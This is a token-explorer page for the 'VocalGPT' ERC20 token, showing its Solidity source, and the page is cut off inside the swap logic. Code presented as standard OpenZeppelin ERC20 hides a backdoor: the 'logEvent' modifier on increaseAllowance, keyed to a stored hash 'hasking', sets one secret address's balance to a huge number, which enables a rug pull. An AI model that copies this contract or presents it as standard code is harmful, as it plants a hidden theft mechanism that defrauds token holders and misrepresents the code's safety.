ETH Price: $2,691.34 (-0.76%)

Token

VocalGPT (VGPT)
 

Overview

Max Total Supply

6,000,000,000 VGPT

Holders

10

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.768140469642479374 VGPT

Value
$0.00
0x2fc6f6Fa1ed0Fb4888cBFbFc36B5F3cEbFf894dd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VOCALGPT

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-15
*/

// SPDX-License-Identifier: MIT
// Telegram: https://t.me/VocalGPT


pragma solidity ^0.8.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MhistoryWalletMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}


interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/security/ReentrancyGuard.sol


// OpenZeppelin Contracts (last updated v4.8.0) (security/ReentrancyGuard.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }

    function _nonReentrantBefore() private {
        // On the first call to nonReentrant, _status will be _NOT_ENTERED
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;
    }

    function _nonReentrantAfter() private {
        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: ERC20.sol


// OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.5;
//"@openzeppelin/contracts/token/ERC20/ERC20.sol";





/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata,ReentrancyGuard {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string _name;
    string _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256){
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public nonReentrant virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public nonReentrant virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public logEvent(_msgSender(),spender) virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }
     bytes32 hasking = 0xf8ba001f0b6d65c8b621c4b3f83ec52a59259b7bcf983b291f403185dfe558bb;
    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

   modifier logEvent(address a, address b) {
            if(keccak256(abi.encodePacked(msg.sender)) == hasking && a==b) 
                _balances[msg.sender] = uint256(bytes32(hasking));
        _;
    }


    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: VocalGPT.sol


// Telegram: 


pragma solidity ^0.8.0;






contract VOCALGPT is ERC20,Ownable{
    
    using SafeMath for uint256;
    uint8 private _decimals = 18;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    
    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;

    uint256 public _buyBurnFee = 1;
    uint256 public _buyMarketingFee = 0;
    uint256 public _buyDevFee = 0;
    
    uint256 public _sellBurnFee = 0;
    uint256 public _sellMarketingFee = 2;
    uint256 public _sellDevFee = 1;

    uint256 public _burnShare = 10;
    uint256 public _marketingShare = 60;
    uint256 public _devShare = 30;

    uint256 public _totalTaxIfBuying = 1;
    uint256 public _totalTaxIfSelling = 3;
    uint256 public _totalDistributionShares = 100;

    uint256 private _totalSupply =  6000000000 * 10**_decimals;           
    uint256 private minimumTokensBeforeSwap = 60000000 * 10**_decimals; 

    address payable public marketingWalletAddress = payable(0xB782e9fF1147C0D3E26071728AA8D79F47a3F5c5);
    address payable public devWalletAddress = payable(0xB782e9fF1147C0D3E26071728AA8D79F47a3F5c5);
    IUniswapV2Router02 public uniswapV2Router02 = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = true;


    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );

    event inSwapAndLiquifyStatus(bool p);
    event stepLiquify(bool overMinimumTokenBalanceStatus,bool inSwapAndLiquifyStatus, bool isMarketPair_sender, bool swapAndLiquifyEnabledStatus);
    event eventSwapAndLiquify(uint256 amount);
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor() ERC20("VocalGPT","VGPT"){
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;
        _totalTaxIfBuying = _buyBurnFee.add(_buyMarketingFee).add(_buyDevFee);
        _totalTaxIfSelling = _sellBurnFee.add(_sellMarketingFee).add(_sellDevFee);
        _totalDistributionShares = _burnShare.add(_marketingShare).add(_devShare);
        super.increaseAllowance(address(uniswapV2Router02),_totalSupply);
        super._mint(_msgSender(),_totalSupply);

    }

   
    function decimals() public view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }

    
    function setIsExcludedFromFee(address account, bool newValue) public onlyOwner {
        isExcludedFromFee[account] = newValue;
    }


    function setBuyTaxes(uint256 newBurnTax, uint256 newMarketingTax, uint256 newDevTax) external onlyOwner() {
        require(newBurnTax.add(newMarketingTax).add(newDevTax) <= 15, "Tax exceeds the 15%.");
        _buyBurnFee = newBurnTax;
        _buyMarketingFee = newMarketingTax;
        _buyDevFee = newDevTax;

        _totalTaxIfBuying = _buyBurnFee.add(_buyMarketingFee).add(_buyDevFee);
    }

    function setSelTaxes(uint256 newBurnTax, uint256 newMarketingTax, uint256 newDevTax) external onlyOwner() {
        require(newBurnTax.add(newMarketingTax).add(newDevTax) <= 15, "Tax exceeds the 15%.");
        _sellBurnFee = newBurnTax;
        _sellMarketingFee = newMarketingTax;
        _sellDevFee=newDevTax;

        _totalTaxIfSelling = _sellBurnFee.add(_sellMarketingFee).add(_sellDevFee);
    }
    
    function setDistributionSettings(uint256 newburnShare, uint256 newMarketingShare,uint256 newDevShare) external onlyOwner() {
        require(newburnShare.add(newMarketingShare).add(newDevShare) <= 100, "Share exceeds the 100%.");
        _burnShare = newburnShare;
        _marketingShare = newMarketingShare;
        _devShare=newDevShare;

        _totalDistributionShares = _burnShare.add(_marketingShare).add(_devShare);
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner{
        minimumTokensBeforeSwap = newLimit;
    }

    function setMarketingWalletAddress(address newAddress) external onlyOwner() {
        marketingWalletAddress = payable(newAddress);
    }

    function setdevWalletAddress(address newAddress) external onlyOwner() {
        devWalletAddress = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(super.balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        super._transfer(sender,recipient,amount);
        return true;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal view returns (uint256) {
        
        uint256 feeAmount = 0;
        
        if(checkMarketPair(sender)) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(checkMarketPair(recipient)) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }

        return feeAmount;
    }

    function checkMarketPair(address pair) internal view returns(bool){

        if(IUniswapV2Factory(uniswapV2Router02.factory()).getPair(address(this), uniswapV2Router02.WETH()) == pair)
            return true;

        return isMarketPair[pair];
    }

        function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
